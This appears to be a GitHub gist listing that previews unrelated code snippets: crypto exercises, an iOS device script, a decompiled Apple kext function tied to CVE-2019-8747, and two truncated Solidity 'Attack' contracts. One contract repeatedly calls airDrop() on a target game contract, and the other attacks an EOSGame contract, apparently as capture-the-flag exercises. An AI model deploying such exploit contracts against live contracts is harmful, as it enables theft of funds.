This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDiHEZOmDIgbc0Q2vXA8ARUUXXPgGyrDM6XrdgSElU/4cLcu7bk7smRWa5CfDT+K6KMlxJTYc4jPYXh9Ccdlhnuazp3ENkyp9QO3ripqiDh3lPuHzG0kHKJy/M4WraWklr/QL+ShIISDpQX0HGuHRcynsc4rsShjFd8o5c+8D4vkKAfhrWTmcinHRShO+wj//UW1S/EnC6Bv598vbi9L7e7jsSClzf+Kj16CJaer3WRj5mUG8Kg/+wDempvelwPstRTLGgapUr/7uvId9hOD2BdsGDwR/sOuAileqOmfbpqiNt5AwwrnyJkHfY3St20/TCGynIJw9W6rvcZtY2U2d8F3PG3NO6Kcj7kMtnazH2PzEbGqEsCcDwxKSURo+jhS8GUpOQ1Dm8G9tID+UZA06HccbWcacyFfbfe/YFEebmQKEnml3l4aX811kPJ3OQZleCewWCuAR9aD/IbkU6hfOqTNyvjvfo+xcA5/UMEP25395jYqohgUkTig4kLoddAanM= minh@Minhs-MacBook-Pro.local |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
APPLIED ECONOMETRICS FOR SPATIAL ECONOMICS | |
Empirical Assignement II | |
Deadline: 07 Oct 2022 | |
Group 6 | |
*/ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from hashlib import sha256 | |
from base64 import b64encode, b64decode | |
from typing import Tuple | |
ByteStrings = Tuple[bytes, ...] | |
def h(s: bytes) -> bytes: | |
"""Short notation for sha256. The digest is truncated to 6 bytes to save | |
bandwidth.""" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
for id in $(idevice_id -l); do | |
ideviceinfo_data=$(ideviceinfo -u $id) | |
product_type=$(echo "$ideviceinfo_data" | grep ProductType | sed 's/ProductType: //g') | |
# strip 'iPhone' or 'iPad' and the comma from the product type | |
short_product_type=$(echo "$product_type" | sed 's/iPhone//g; s/iPad//g; s/,//g' ) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#if 0 | |
// Fixed in iOS 13.1 with CVE-2019-8747 | |
__thiscall | |
AppleFirmwareUpdateKext::loadFirmware | |
(AppleFirmwareUpdateKext *this,IOMemoryDescriptor *Memory,void *off_0x10,uint off_0x18) | |
{ | |
uint uVar1; | |
byte addr; | |
byte len; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from hashlib import sha512 | |
BLOCKSIZE = 16 | |
def reduce_modulo_37(i): | |
return int(i % 37) | |
class F3737(object): | |
""" | |
This class represents a vector in F37^37. Only basic operations (addition | |
and scalar multiplication) are provided. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
# ********************************************************** # | |
# Today, we will work with F37^37. Good luck and have fun :) # | |
# ********************************************************** # | |
# Part 1: DEFINITION OF MYHASH | |
from hashlib import sha512 | |
BLOCKSIZE = 16 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
contract Attack{ | |
address target = 0x4082cC8839242Ff5ee9c67f6D05C4e497f63361a; | |
Fake3D game; | |
constructor() public{ | |
game = Fake3D(target); | |
for (uint256 i=0; i<900; i++){ | |
game.airDrop(); | |
} | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
contract Attack{ | |
address target = 0x804d8B0f43C57b5Ba940c1d1132d03f1da83631F; | |
address owner = 0x622afc0cbaa152e6615be060f93bc88440a8442d; | |
uint256 MOD_NUM = 20; | |
EOSGame game; | |
constructor() public{ | |
game = EOSGame(target); | |
} | |
function check() public view returns (uint256){ | |
uint count = 1; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
p = 0xffffffff00000001000000000000000000000000ffffffffffffffffffffffff | |
a = p-3 | |
b = 0x5ac635d8aa3a93e7b3ebbd55769886bc651d06b0cc53b0f63bce3c3e27d2604b | |
r = 0xffffffff00000000ffffffffffffffffbce6faada7179e84f3b9cac2fc632551 | |
x = 0x6b17d1f2e12c4247f8bce6e563a440f277037d812deb33a0f4a13945d898c296 | |
y = 0x4fe342e2fe1a7f9b8ee7eb4a7c0f9e162bce33576b315ececbb6406837bf51f5 | |
class CurveFp(object): | |
def __init__(self, p, a, b): | |
assert 3 == p % 4 |
NewerOlder